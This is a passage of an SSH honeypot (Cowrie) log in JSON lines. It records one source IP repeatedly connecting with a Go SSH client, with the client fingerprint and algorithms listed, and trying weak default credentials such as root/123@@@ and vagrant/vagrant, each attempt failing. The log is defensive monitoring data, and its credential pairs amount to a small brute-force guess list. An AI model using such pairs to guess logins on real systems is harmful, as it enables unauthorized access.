enssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:04.988776Z","src_ip":"45.153.34.195","session":"b8aa2da34a6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1234","message":"login attempt [sam/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:05.306931Z","src_ip":"45.153.34.195","session":"b8aa2da34a6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:06.407718Z","src_ip":"45.153.34.195","session":"b8aa2da34a6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":45448,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4e9cee8cf51","protocol":"ssh","message":"New connection: 45.153.34.195:45448 (10.17.0.5:22) [session: c4e9cee8cf51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:07.689393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:07.694085Z","src_ip":"45.153.34.195","session":"c4e9cee8cf51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:07.887086Z","src_ip":"45.153.34.195","session":"c4e9cee8cf51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:08.434254Z","src_ip":"45.153.34.195","session":"c4e9cee8cf51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:09.613644Z","src_ip":"45.153.34.195","session":"c4e9cee8cf51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":45452,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb785f7084bd","protocol":"ssh","message":"New connection: 45.153.34.195:45452 (10.17.0.5:22) [session: eb785f7084bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:10.562898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:10.567348Z","src_ip":"45.153.34.195","session":"eb785f7084bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:10.665882Z","src_ip":"45.153.34.195","session":"eb785f7084bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:10.935339Z","src_ip":"45.153.34.195","session":"eb785f7084bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:12.018092Z","src_ip":"45.153.34.195","session":"eb785f7084bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":59512,"dst_ip":"10.17.0.5","dst_port":22,"session":"81309367e074","protocol":"ssh","message":"New connection: 45.153.34.195:59512 (10.17.0.5:22) [session: 81309367e074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:13.663826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:13.667985Z","src_ip":"45.153.34.195","session":"81309367e074","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:13.749655Z","src_ip":"45.153.34.195","session":"81309367e074","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:14.005471Z","src_ip":"45.153.34.195","session":"81309367e074","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:15.089313Z","src_ip":"45.153.34.195","session":"81309367e074","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":59526,"dst_ip":"10.17.0.5","dst_port":22,"session":"14ed08088303","protocol":"ssh","message":"New connection: 45.153.34.195:59526 (10.17.0.5:22) [session: 14ed08088303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:16.581507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:16.630286Z","src_ip":"45.153.34.195","session":"14ed08088303","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:16.705520Z","src_ip":"45.153.34.195","session":"14ed08088303","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"idempiere","password":"password","message":"login attempt [idempiere/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:17.162037Z","src_ip":"45.153.34.195","session":"14ed08088303","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:18.350245Z","src_ip":"45.153.34.195","session":"14ed08088303","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":59538,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd95c72549db","protocol":"ssh","message":"New connection: 45.153.34.195:59538 (10.17.0.5:22) [session: dd95c72549db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:19.403077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:19.408366Z","src_ip":"45.153.34.195","session":"dd95c72549db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:19.507757Z","src_ip":"45.153.34.195","session":"dd95c72549db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:20.015181Z","src_ip":"45.153.34.195","session":"dd95c72549db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:21.099104Z","src_ip":"45.153.34.195","session":"dd95c72549db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":52392,"dst_ip":"10.17.0.5","dst_port":22,"session":"56d6d3822f22","protocol":"ssh","message":"New connection: 45.153.34.195:52392 (10.17.0.5:22) [session: 56d6d3822f22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:22.371038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:22.376035Z","src_ip":"45.153.34.195","session":"56d6d3822f22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:22.464917Z","src_ip":"45.153.34.195","session":"56d6d3822f22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arm","password":"arm","message":"login attempt [arm/arm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:22.719413Z","src_ip":"45.153.34.195","session":"56d6d3822f22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:23.803989Z","src_ip":"45.153.34.195","session":"56d6d3822f22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":52396,"dst_ip":"10.17.0.5","dst_port":22,"session":"03b604ae65ea","protocol":"ssh","message":"New connection: 45.153.34.195:52396 (10.17.0.5:22) [session: 03b604ae65ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:25.245594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:25.279586Z","src_ip":"45.153.34.195","session":"03b604ae65ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:25.379399Z","src_ip":"45.153.34.195","session":"03b604ae65ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"local","password":"local","message":"login attempt [local/local] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:25.734145Z","src_ip":"45.153.34.195","session":"03b604ae65ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:26.821173Z","src_ip":"45.153.34.195","session":"03b604ae65ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":52402,"dst_ip":"10.17.0.5","dst_port":22,"session":"f21882bd3725","protocol":"ssh","message":"New connection: 45.153.34.195:52402 (10.17.0.5:22) [session: f21882bd3725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:28.105604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:28.119478Z","src_ip":"45.153.34.195","session":"f21882bd3725","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:28.441830Z","src_ip":"45.153.34.195","session":"f21882bd3725","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:28.855818Z","src_ip":"45.153.34.195","session":"f21882bd3725","protocol":"ssh"}
